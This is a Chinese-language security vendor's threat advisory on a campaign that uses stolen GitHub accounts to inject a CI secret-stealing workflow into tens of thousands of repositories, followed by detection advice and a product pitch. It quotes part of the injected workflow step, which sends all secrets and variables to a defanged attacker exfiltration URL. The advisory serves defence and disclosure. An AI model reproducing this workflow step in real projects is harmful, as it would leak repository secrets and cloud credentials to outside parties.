攻击者利用被盗GitHub账号向6.1万个仓库推送CI密钥窃取程序

从11月10日开始，一名威胁行为者利用窃取的GitHub凭据，将恶意workflow payload推送到数万个仓库中。该payload会窃取GitHub Actions secrets和云凭据。通过自动化发布触发器，该payload已扩散到至少一个Packagist包和一个Golang包中，但威胁行为者的目标似乎是CI secrets，而非试图通过供应链进行扩散。 根据我们目前收集到的数据： 如果你有权写入的仓库在11月10日或之后出现以下任何内容，你可能已受到影响： GitHub搜索返回61,839条文档：dependency audit notes pull requests，创建于11月10日12:45 UTC至11月11日15:00 UTC之间。该pull request只是一个探测，随后会跟有携带真实payload的commit。 在随机抽样的1,500个被探测仓库中，payload在10.6%（±1.6%）的仓库中运行。在其中159个仓库里，有156个仓库的运行日志被删除，这意味着威胁行为者很可能已收集凭据并掩盖了痕迹。其余大多数仓库在探测后没有任何推送（77%），或者受感染的workflow没有运行（12%）。 如果payload在你的仓库中运行过，请假定其workflow可访问的所有secret和云角色均已泄露。 我们还观察到该活动通过自动化发布触发器进入已发布的软件包。迄今为止我们识别出的恶意软件包包括： 大约从11月10日12:45 UTC开始，威胁行为者开始使用泄露的GitHub token传播恶意软件。对于每个窃取的GitHub token可写入的仓库，威胁行为者会： 注入的workflow步骤看起来像这样：

• name: Pass runtime uses: actions/github-script@v7 ...
• name: Restore cache j632 env: WF_CALLBACK: "http://194.150.166[.]244:8080/exfil" WF_CTOKEN: "b42d70a7aab9140ca19e8249" WF_SECRETS: "${{ toJSON(secrets) }}" WF_VARS: "${{ toJSON(vars) }}" 它窃取的内容 GitHub Actions secrets和variables、workflow GITHUB_TOKEN，以及Actions runtime和cache token 来自实例元数据和OIDC的AWS、GCP和Azure凭据 在runner内存和环境变量中找到的secrets，包括AI provider API keys 仓库内容和git历史、Actions缓存以及构建产物 与10月GhostAction活动的重叠 本轮受影响的账户与10月GhostActions一波存在重叠，匹配已知的GhostActions指标： 10月被攻击的账户在11月被使用的可能性约为其他活跃账户的一千倍。在100多个仓库中，11月的payload被注入到10月的workflow文件中，同时保留了10月的窃取步骤。尽管账户存在重叠，我们目前不将11月的事件归因于同一行为者。基础设施、工具和手法均不同，且窃取的凭据常常最终落入多个威胁行为者手中。 如果你是Aikido用户，请检查你的中央feed并按malware问题筛选。与该活动相关的受感染软件包将显示为100/100严重问题。Aikido每晚重新扫描，但我们建议你现在手动触发一次重新扫描。 如果你还不是Aikido用户，可以创建账户并连接你的仓库。我们的恶意软件覆盖包含在免费计划中，无需信用卡。 为了未来的防护，可以考虑Aikido Safe Chain（开源）。Safe Chain置于你现有的workflow中，拦截npm、npx、yarn、pnpm和pnpx命令，并在安装前根据Aikido Intel检查软件包。 如需在整个团队范围内获得更广泛的覆盖，Aikido的Device Protection可让你查看和控制团队设备上安装的软件包。它覆盖浏览器扩展、代码库、IDE插件和构建依赖，全部集中在一处。在恶意软件被安装之前将其阻止。 https://www.aikido.dev/blog/compromised-github-accounts-push-ci-secret-stealer-to-tens-of-thousands-of-repositories 4.7/5 厌倦了误报？ 像10万其他人一样试用Aikido。 立即开始 获取个性化演示 受到10万+团队信赖 2026年11月5日 • 漏洞与威胁 连gem list都可能运行他人的代码 Ruby gems可在安装时以及每次gem命令（甚至gem list）时运行代码。检查四个数据窃取gem，并关闭安装时执行。 2026年11月2日 • 漏洞与威胁 严重Linux内核TCP漏洞可导致远程代码执行（CVE-2026-98432） CVE-2026-98432是一个严重Linux内核TCP漏洞，评级为9.8，可导致远程代码执行。了解受影响范围、如何修补以及现在该做什么。 2026年10月23日 • 漏洞与威胁 Node2Shell演变为HTTP2Shell。Brotli漏洞（CVE-2026-111497）影响范围波及许多使用HTTP的库和应用。 Node2Shell背后的Brotli漏洞（CVE-2026-111497）影响许多使用HTTP并安装了Brotli或brotlicffi的库和应用。检查你的版本并升级到修复版本。 在一个中央系统中保护你的代码、云和运行时。 连接一个仓库，发现推理代理在你的代码库中发现了什么。